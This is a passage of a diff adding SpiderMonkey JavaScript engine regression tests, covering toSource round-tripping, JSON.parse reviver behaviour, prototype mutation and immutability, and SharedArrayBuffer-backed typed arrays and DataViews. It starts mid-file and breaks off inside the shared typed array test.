+function addBraces(text)
+{
+ return cnLBRACE + text + cnRBRACE;
+}
+
+
+function addParens(text)
+{
+ return cnLPAREN + text + cnRPAREN;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-96284-001.js b/js/src/tests/non262/extensions/regress-96284-001.js
new file mode 100644
index 0000000000..ec0992f6a4
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-96284-001.js
@@ -0,0 +1,147 @@
+// |reftest| skip-if(!Error.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 03 September 2001
+ *
+ * SUMMARY: Double quotes should be escaped in Error.prototype.toSource()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96284
+ *
+ * The real point here is this: we should be able to reconstruct an object
+ * from its toSource() property. We'll test this on various types of objects.
+ *
+ * Method: define obj2 = eval(obj1.toSource()) and verify that
+ * obj2.toSource() == obj1.toSource().
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96284;
+var summary = 'Double quotes should be escaped in Error.prototype.toSource()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj1 = {};
+var obj2 = {};
+var cnTestString = '"This is a \" STUPID \" test string!!!"\\';
+
+
+// various NativeError objects -
+status = inSection(1);
+obj1 = Error(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(2);
+obj1 = EvalError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(3);
+obj1 = RangeError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(4);
+obj1 = ReferenceError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(5);
+obj1 = SyntaxError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(6);
+obj1 = TypeError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(7);
+obj1 = URIError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+// other types of objects -
+status = inSection(8);
+obj1 = new String(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(9);
+obj1 = {color:'red', texture:cnTestString, hasOwnProperty:42};
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(10);
+obj1 = function(x) {function g(y){return y+1;} return g(x);};
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(11);
+obj1 = new Number(eval('6'));
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(12);
+obj1 = /ad;(lf)kj(2309\/\/)\/\//;
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-bug607284.js b/js/src/tests/non262/extensions/regress-bug607284.js
new file mode 100644
index 0000000000..7d2c4921d2
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-bug607284.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if ("evalcx" in this) {
+ var sandbox = evalcx("");
+ var obj = { get foo() { throw("FAIL"); } };
+ var getter = obj.__lookupGetter__("foo");
+ var desc = sandbox.Object.getOwnPropertyDescriptor(obj, "foo");
+ reportCompare(desc.get, getter, "getter is correct");
+ reportCompare(desc.set, undefined, "setter is correct");
+}
+else {
+ reportCompare(true, true);
+}
diff --git a/js/src/tests/non262/extensions/regress-bug629723.js b/js/src/tests/non262/extensions/regress-bug629723.js
new file mode 100644
index 0000000000..6c826e0c20
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-bug629723.js
@@ -0,0 +1,16 @@
+function f(foo) {
+ "use strict";
+ foo.bar;
+}
+
+var actual;
+try {
+ f();
+ actual = "no error";
+} catch (x) {
+ actual = (x instanceof TypeError) ? "type error" : "some other error";
+ actual += (/use strict/.test(x)) ? " with directive" : " without directive";
+}
+
+reportCompare("type error without directive", actual,
+ "decompiled expressions in error messages should not include directive prologues");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-array-ccw.js b/js/src/tests/non262/extensions/reviver-mutates-holder-array-ccw.js
new file mode 100644
index 0000000000..e51e199033
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-array-ccw.js
@@ -0,0 +1,39 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var proxyObj = null;
+
+var arr = JSON.parse('[0, 1]', function(prop, v) {
+ if (prop === "0")
+ {
+ proxyObj = newGlobal().evaluate("({ c: 17, d: 42 })");
+ this[1] = proxyObj;
+ }
+ return v;
+});
+
+assertEq(arr[0], 0);
+assertEq(arr[1], proxyObj);
+assertEq(arr[1].c, 17);
+assertEq(arr[1].d, 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-array-nonnative.js b/js/src/tests/non262/extensions/reviver-mutates-holder-array-nonnative.js
new file mode 100644
index 0000000000..de4ad7032e
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-array-nonnative.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901380;
+var summary = "Behavior when JSON.parse walks over a non-native object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var typedArray = null;
+
+var observedTypedArrayElementCount = 0;
+
+var arr = JSON.parse('[0, 1]', function(prop, v) {
+ if (prop === "0" && Array.isArray(this)) // exclude typedArray[0]
+ {
+ typedArray = new Int8Array(1);
+ this[1] = typedArray;
+ }
+ if (this instanceof Int8Array)
+ {
+ assertEq(prop, "0");
+ observedTypedArrayElementCount++;
+ }
+ return v;
+});
+
+assertEq(arr[0], 0);
+assertEq(arr[1], typedArray);
+
+assertEq(observedTypedArrayElementCount, 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-array.js b/js/src/tests/non262/extensions/reviver-mutates-holder-array.js
new file mode 100644
index 0000000000..f4f89ac0ab
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-array.js
@@ -0,0 +1,39 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var proxyObj = null;
+
+var arr = JSON.parse('[0, 1]', function(prop, v) {
+ if (prop === "0")
+ {
+ proxyObj = new Proxy({ c: 17, d: 42 }, {});
+ this[1] = proxyObj;
+ }
+ return v;
+});
+
+assertEq(arr[0], 0);
+assertEq(arr[1], proxyObj);
+assertEq(arr[1].c, 17);
+assertEq(arr[1].d, 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-object-ccw.js b/js/src/tests/non262/extensions/reviver-mutates-holder-object-ccw.js
new file mode 100644
index 0000000000..546a57e916
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-object-ccw.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// A little trickiness to account for the undefined-ness of property
+// enumeration order.
+var first = "unset";
+
+var proxyObj = null;
+
+var obj = JSON.parse('{ "a": 0, "b": 1 }', function(prop, v) {
+ if (first === "unset")
+ {
+ first = prop;
+ var second = (prop === "a") ? "b" : "a";
+
+ proxyObj = newGlobal().evaluate("({ c: 42, d: 17 })");
+ Object.defineProperty(this, second, { value: proxyObj });
+ }
+ return v;
+});
+
+if (first === "a")
+{
+ assertEq(obj.a, 0);
+ assertEq(obj.b, proxyObj);
+ assertEq(obj.b.c, 42);
+ assertEq(obj.b.d, 17);
+}
+else
+{
+ assertEq(obj.a, proxyObj);
+ assertEq(obj.a.c, 42);
+ assertEq(obj.a.d, 17);
+ assertEq(obj.b, 1);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-object-nonnative.js b/js/src/tests/non262/extensions/reviver-mutates-holder-object-nonnative.js
new file mode 100644
index 0000000000..1300f8dd0d
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-object-nonnative.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901380;
+var summary = "Behavior when JSON.parse walks over a non-native object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// A little trickiness to account for the undefined-ness of property
+// enumeration order.
+var first = "unset";
+
+var observedTypedArrayElementCount = 0;
+
+var typedArray = null;
+
+var obj = JSON.parse('{ "a": 0, "b": 1 }', function(prop, v) {
+ if (first === "unset")
+ {
+ first = prop;
+ var second = (prop === "a") ? "b" : "a";
+ typedArray = new Int8Array(1);
+ Object.defineProperty(this, second, { value: typedArray });
+ }
+ if (this instanceof Int8Array)
+ {
+ assertEq(prop, "0");
+ observedTypedArrayElementCount++;
+ }
+ return v;
+});
+
+if (first === "a")
+{
+ assertEq(obj.a, 0);
+ assertEq(obj.b, typedArray);
+}
+else
+{
+ assertEq(obj.a, typedArray);
+ assertEq(obj.b, 1);
+}
+
+assertEq(observedTypedArrayElementCount, 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-object.js b/js/src/tests/non262/extensions/reviver-mutates-holder-object.js
new file mode 100644
index 0000000000..973766e9ae
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-object.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// A little trickiness to account for the undefined-ness of property
+// enumeration order.
+var first = "unset";
+
+var proxyObj = null;
+
+var obj = JSON.parse('{ "a": 0, "b": 1 }', function(prop, v) {
+ if (first === "unset")
+ {
+ first = prop;
+ var second = (prop === "a") ? "b" : "a";
+
+ proxyObj = new Proxy({ c: 42, d: 17 }, {});
+ Object.defineProperty(this, second, { value: proxyObj });
+ }
+ return v;
+});
+
+if (first === "a")
+{
+ assertEq(obj.a, 0);
+ assertEq(obj.b, proxyObj);
+ assertEq(obj.b.c, 42);
+ assertEq(obj.b.d, 17);
+}
+else
+{
+ assertEq(obj.a, proxyObj);
+ assertEq(obj.a.c, 42);
+ assertEq(obj.a.d, 17);
+ assertEq(obj.b, 1);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/scope-001.js b/js/src/tests/non262/extensions/scope-001.js
new file mode 100644
index 0000000000..f3157af01c
--- /dev/null
+++ b/js/src/tests/non262/extensions/scope-001.js
@@ -0,0 +1,84 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '53268';
+var status = 'Testing scope after changing obj.__proto__';
+var expect= '';
+var actual = '';
+var obj = {};
+
+Object.defineProperty(this, "five", {
+ value: 5,
+ enumerable: true,
+ writable: false
+});
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (status);
+
+
+ status= 'Step 1: setting obj.__proto__ = global object';
+ obj.__proto__ = this;
+
+ actual = obj.five;
+ expect=5;
+ reportCompare (expect, actual, status);
+
+ obj.five=1;
+ actual = obj.five;
+ expect=5;
+ reportCompare (expect, actual, status);
+
+
+
+ status= 'Step 2: setting obj.__proto__ = null';
+ obj.__proto__ = null;
+
+ actual = obj.five;
+ expect=undefined;
+ reportCompare (expect, actual, status);
+
+ obj.five=2;
+ actual = obj.five;
+ expect=2;
+ reportCompare (expect, actual, status);
+
+
+
+ status= 'Step 3: setting obj.__proto__ to global object again';
+ obj.__proto__ = this;
+
+ actual = obj.five;
+ expect=2; //<--- (FROM STEP 2 ABOVE)
+ reportCompare (expect, actual, status);
+
+ obj.five=3;
+ actual = obj.five;
+ expect=3;
+ reportCompare (expect, actual, status);
+
+
+
+ status= 'Step 4: setting obj.__proto__ to null again';
+ obj.__proto__ = null;
+
+ actual = obj.five;
+ expect=3; //<--- (FROM STEP 3 ABOVE)
+ reportCompare (expect, actual, status);
+
+ obj.five=4;
+ actual = obj.five;
+ expect=4;
+ reportCompare (expect, actual, status);
+}
diff --git a/js/src/tests/non262/extensions/set-property-non-extensible.js b/js/src/tests/non262/extensions/set-property-non-extensible.js
new file mode 100644
index 0000000000..096278d726
--- /dev/null
+++ b/js/src/tests/non262/extensions/set-property-non-extensible.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!xulRuntime.shell) -- preventExtensions on global
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 600128;
+var summary =
+ "Properly handle attempted addition of properties to non-extensible objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o = Object.freeze({});
+for (var i = 0; i < 10; i++)
+ print(o.u = "");
+
+Object.freeze(this);
+for (let j = 0; j < 10; j++)
+ print(u = "");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/setImmutablePrototype.js b/js/src/tests/non262/extensions/setImmutablePrototype.js
new file mode 100644
index 0000000000..9d107472e5
--- /dev/null
+++ b/js/src/tests/non262/extensions/setImmutablePrototype.js
@@ -0,0 +1,196 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "setImmutablePrototype.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1052139;
+var summary =
+ "Implement JSAPI and a shell function to prevent modifying an extensible " +
+ "object's [[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+if (typeof evaluate !== "function")
+{
+ // Not totally faithful semantics, but approximately close enough for this
+ // test's purposes.
+ evaluate = eval;
+}
+
+var usingRealSetImmutablePrototype = true;
+
+if (typeof setImmutablePrototype !== "function")
+{
+ usingRealSetImmutablePrototype = false;
+
+ if (typeof SpecialPowers !== "undefined")
+ {
+ setImmutablePrototype =
+ SpecialPowers.Cu.getJSTestingFunctions().setImmutablePrototype;
+ }
+}
+
+if (typeof wrap !== "function")
+{
+ // good enough
+ wrap = function(x) { return x; };
+}
+
+function setViaProtoSetter(obj, newProto)
+{
+ var setter =
+ Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set;
+ setter.call(obj, newProto);
+}
+
+function checkPrototypeMutationFailure(obj, desc)
+{
+ var initialProto = Object.getPrototypeOf(obj);
+
+ // disconnected from any [[Prototype]] chains for use on any object at all
+ var newProto = Object.create(null);
+
+ function tryMutate(func, method)
+ {
+ try
+ {
+ func(obj, newProto);
+ throw new Error(desc + ": no error thrown, prototype " +
+ (Object.getPrototypeOf(obj) === initialProto
+ ? "wasn't"
+ : "was") +
+ " changed");
+ }
+ catch (e)
+ {
+ // Note: This is always a TypeError from *this* global object, because
+ // Object.setPrototypeOf and the __proto__ setter come from *this*
+ // global object.
+ assertEq(e instanceof TypeError, true,
+ desc + ": should have thrown TypeError setting [[Prototype]] " +
+ "via " + method + ", got " + e);
+ assertEq(Object.getPrototypeOf(obj), initialProto,
+ desc + ": shouldn't observe [[Prototype]] change");
+ }
+ }
+
+ tryMutate(Object.setPrototypeOf, "Object.setPrototypeOf");
+ tryMutate(setViaProtoSetter, "__proto__ setter");
+}
+
+function runNormalTests(global)
+{
+ if (typeof setImmutablePrototype !== "function")
+ {
+ print("no testable setImmutablePrototype function available, skipping tests");
+ return;
+ }
+
+ // regular old object, non-null [[Prototype]]
+
+ var emptyLiteral = global.evaluate("({})");
+ assertEq(setImmutablePrototype(emptyLiteral), true);
+ checkPrototypeMutationFailure(emptyLiteral, "empty literal");
+
+ // regular old object, null [[Prototype]]
+
+ var nullProto = global.Object.create(null);
+ assertEq(setImmutablePrototype(nullProto), true);
+ checkPrototypeMutationFailure(nullProto, "nullProto");
+
+ // Shocker: SpecialPowers's little mind doesn't understand proxies. Abort.
+ if (!usingRealSetImmutablePrototype)
+ return;
+
+ // direct proxies
+
+ var emptyTarget = global.evaluate("({})");
+ var directProxy = new global.Proxy(emptyTarget, {});
+ assertEq(setImmutablePrototype(directProxy), true);
+ checkPrototypeMutationFailure(directProxy, "direct proxy to empty target");
+ checkPrototypeMutationFailure(emptyTarget, "empty target");
+
+ var anotherTarget = global.evaluate("({})");
+ var anotherDirectProxy = new global.Proxy(anotherTarget, {});
+ assertEq(setImmutablePrototype(anotherTarget), true);
+ checkPrototypeMutationFailure(anotherDirectProxy, "another direct proxy to empty target");
+ checkPrototypeMutationFailure(anotherTarget, "another empty target");
+
+ var nestedTarget = global.evaluate("({})");
+ var nestedProxy = new global.Proxy(new Proxy(nestedTarget, {}), {});
+ assertEq(setImmutablePrototype(nestedProxy), true);
+ checkPrototypeMutationFailure(nestedProxy, "nested proxy to empty target");
+ checkPrototypeMutationFailure(nestedTarget, "nested target");
+
+ // revocable proxies
+
+ var revocableTarget = global.evaluate("({})");
+ var revocable = global.Proxy.revocable(revocableTarget, {});
+ assertEq(setImmutablePrototype(revocable.proxy), true);
+ checkPrototypeMutationFailure(revocableTarget, "revocable target");
+ checkPrototypeMutationFailure(revocable.proxy, "revocable proxy");
+
+ assertEq(revocable.revoke(), undefined);
+ try
+ {
+ setImmutablePrototype(revocable.proxy);
+ throw new Error("expected to throw on revoked proxy");
+ }
+ catch (e)
+ {
+ // Note: In the cross-compartment case, this is a TypeError from |global|,
+ // because the proxy's |setImmutablePrototype| method is what actually
+ // throws here. That's why we check for TypeError from either global.
+ // (Usually the method simply sets |*succeeded| to false and the
+ // caller handles or throws as needed after that. But not here.)
+ assertEq(e instanceof global.TypeError || e instanceof TypeError, true,
+ "expected TypeError, instead threw " + e);
+ }
+
+ var anotherRevocableTarget = global.evaluate("({})");
+ assertEq(setImmutablePrototype(anotherRevocableTarget), true);
+ checkPrototypeMutationFailure(anotherRevocableTarget, "another revocable target");
+
+ var anotherRevocable = global.Proxy.revocable(anotherRevocableTarget, {});
+ checkPrototypeMutationFailure(anotherRevocable.proxy, "another revocable target");
+
+ assertEq(anotherRevocable.revoke(), undefined);
+ try
+ {
+ var rv = setImmutablePrototype(anotherRevocable.proxy);
+ throw new Error("expected to throw on another revoked proxy, returned " + rv);
+ }
+ catch (e)
+ {
+ // NOTE: Again from |global| or |this|, as above.
+ assertEq(e instanceof global.TypeError || e instanceof TypeError, true,
+ "expected TypeError, instead threw " + e);
+ }
+}
+
+var global = this;
+runNormalTests(global); // same-global
+
+if (typeof newGlobal === "function")
+{
+ var otherGlobal = newGlobal();
+ var subsumingNothing = newGlobal({ principal: 0 });
+ var subsumingEverything = newGlobal({ principal: ~0 });
+
+ runNormalTests(otherGlobal); // cross-global
+ runNormalTests(subsumingNothing);
+ runNormalTests(subsumingEverything);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/shareddataview.js b/js/src/tests/non262/extensions/shareddataview.js
new file mode 100644
index 0000000000..30ec8ef68e
--- /dev/null
+++ b/js/src/tests/non262/extensions/shareddataview.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// Test DataView on SharedArrayBuffer.
+
+if (this.SharedArrayBuffer) {
+
+var sab = new SharedArrayBuffer(4096);
+var dv = new DataView(sab);
+
+assertEq(sab, dv.buffer);
+assertEq(dv.byteLength, sab.byteLength);
+assertEq(ArrayBuffer.isView(dv), true);
+
+var dv2 = new DataView(sab, 1075, 2048);
+
+assertEq(sab, dv2.buffer);
+assertEq(dv2.byteLength, 2048);
+assertEq(dv2.byteOffset, 1075);
+assertEq(ArrayBuffer.isView(dv2), true);
+
+// Test that it is the same buffer memory for the two views
+
+dv.setInt8(1075, 37);
+assertEq(dv2.getInt8(0), 37);
+
+// Test that range checking works
+
+assertThrowsInstanceOf(() => dv.setInt32(4098, -1), RangeError);
+assertThrowsInstanceOf(() => dv.setInt32(4094, -1), RangeError);
+assertThrowsInstanceOf(() => dv.setInt32(-1, -1), RangeError);
+
+assertThrowsInstanceOf(() => dv2.setInt32(2080, -1), RangeError);
+assertThrowsInstanceOf(() => dv2.setInt32(2046, -1), RangeError);
+assertThrowsInstanceOf(() => dv2.setInt32(-1, -1), RangeError);
+
+}
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/extensions/sharedtypedarray.js b/js/src/tests/non262/extensions/sharedtypedarray.js
new file mode 100644
index 0000000000..56187d29f5
--- /dev/null
+++ b/js/src/tests/non262/extensions/sharedtypedarray.js
@@ -0,0 +1,273 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// Minimal test cases. Note that on 64-bit a SharedArrayBuffer is
+// very expensive under these rules - a 4GB area is reserved for it.
+// So don't go allocating a ton of them.
+//
+// These tests cannot test that sharing works across workers. There
+// are or will be tests, in dom/workers, that do that.
+
+var b;
+
+function testSharedArrayBuffer() {
+ b = new SharedArrayBuffer("4096"); // Test string conversion, too
+ assertEq(b instanceof SharedArrayBuffer, true);
+ assertEq(b.byteLength, 4096);
+
+ b.fnord = "Hi there";
+ assertEq(b.fnord, "Hi there");
+
+ SharedArrayBuffer.prototype.abracadabra = "no wishing for wishes!";
+ assertEq(b.abracadabra, "no wishing for wishes!");
+
+ // SharedArrayBuffer is not a conversion operator, not even for instances of itself
+ assertThrowsInstanceOf(() => SharedArrayBuffer(b), TypeError);
+
+ // can't convert any other object either
+ assertThrowsInstanceOf(() => SharedArrayBuffer({}), TypeError);
+
+ // byteLength can be invoked as per normal, indirectly
+ assertEq(Object.getOwnPropertyDescriptor(SharedArrayBuffer.prototype,"byteLength").get.call(b), 4096);
+
+ // however byteLength is not generic
+ assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(SharedArrayBuffer.prototype,"byteLength").get.call({}), TypeError);
+
+}
+
+function testSharedTypedArray() {
+ var x1 = new Int8Array(b);
+ var x2 = new Int32Array(b);
+
+ assertEq(ArrayBuffer.isView(x1), true); // ArrayBuffer.isView() works even if the buffer is a SharedArrayBuffer
+ assertEq(ArrayBuffer.isView(x2), true);
+ assertEq(ArrayBuffer.isView({}), false);
+
+ assertEq(x1.buffer, b);
+ assertEq(x2.buffer, b);
+
+ assertEq(x1.byteLength, b.byteLength);
+ assertEq(x2.byteLength, b.byteLength);
+
+ assertEq(x1.byteOffset, 0);
+ assertEq(x2.byteOffset, 0);
+
+ assertEq(x1.length, b.byteLength);
+ assertEq(x2.length, b.byteLength / 4);
+
+ var x3 = new Int8Array(b, 20);
+ assertEq(x3.length, b.byteLength - 20);
+ assertEq(x3.byteOffset, 20);
+
+ var x3 = new Int32Array(b, 20, 10);
+ assertEq(x3.length, 10);
+ assertEq(x3.byteOffset, 20);
+
+ // Mismatched type
+ assertThrowsInstanceOf(() => Int8Array(x2), TypeError);
+
+ // Unconvertable object
+ assertThrowsInstanceOf(() => Int8Array({}), TypeError);
+
+ // negative start
+ assertThrowsInstanceOf(() => new Int8Array(b, -7), RangeError);
+
+ // not congruent mod element size
+ assertThrowsInstanceOf(() => new Int32Array(b, 3), RangeError);
+
+ // start out of range
+ assertThrowsInstanceOf(() => new Int32Array(b, 4104), RangeError);
+
+ // end out of range
+ assertThrowsInstanceOf(() => new Int32Array(b, 4092, 2), RangeError);
+
+ // Views alias the storage
+ x2[0] = -1;
+ assertEq(x1[0], -1);
+ x1[0] = 1;
+ x1[1] = 1;
+ x1[2] = 1;
+ x1[3] = 1;
+ assertEq(x2[0], 0x01010101);
+
+ assertEq(x2[5], 0);
+ x3[0] = -1;
+ assertEq(x2[5], -1);
+
+ // Out-of-range accesses yield undefined
+ assertEq(x2[1023], 0);
+ assertEq(x2[1024], undefined);
+ assertEq(x2[2047], undefined);
+}
+
+function testSharedTypedArrayMethods() {
+ var v = new Int32Array(b);
+ for ( var i=0 ; i < v.length ; i++ )
+ v[i] = i;
+
+ // Rudimentary tests - they don't test any boundary conditions
+
+ // subarray
+ var w = v.subarray(10, 20);
+ assertEq(w.length, 10);
+ for ( var i=0 ; i < w.length ; i++ )
+ assertEq(w[i], v[i+10]);
+ for ( var i=0 ; i < w.length ; i++ )
+ w[i] = -w[i];
+ for ( var i=0 ; i < w.length ; i++ )
+ assertEq(w[i], v[i+10]);
+
+ // copyWithin
+ for ( var i=0 ; i < v.length ; i++ )
+ v[i] = i;
+ v.copyWithin(10, 20, 30);
+ for ( var i=0 ; i < 10 ; i++ )
+ assertEq(v[i], i);
+ for ( var i=10 ; i < 20 ; i++ )
+ assertEq(v[i], v[i+10]);
+
+ // set
+ for ( var i=0 ; i < v.length ; i++ )
+ v[i] = i;
+ v.set([-1,-2,-3,-4,-5,-6,-7,-8,-9,-10], 5);
+ for ( var i=5 ; i < 15 ; i++ )
+ assertEq(v[i], -i+4);
+
+ // In the following two cases the two arrays will reference the same buffer,
+ // so there will be an overlapping copy.
+ //
+ // Case 1: Read from lower indices than are written
+ v.set(v.subarray(0, 7), 1);
+ assertEq(v[0], 0);
+ assertEq(v[1], 0);
+ assertEq(v[2], 1);
+ assertEq(v[3], 2);
+ assertEq(v[4], 3);
+ assertEq(v[5], 4);
+ assertEq(v[6], -1);
+ assertEq(v[7], -2);
+ assertEq(v[8], -4);
+ assertEq(v[9], -5);
+
+ // Case 2: Read from higher indices than are written
+ v.set(v.subarray(1, 5), 0);
+ assertEq(v[0], 0);
+ assertEq(v[1], 1);
+ assertEq(v[2], 2);
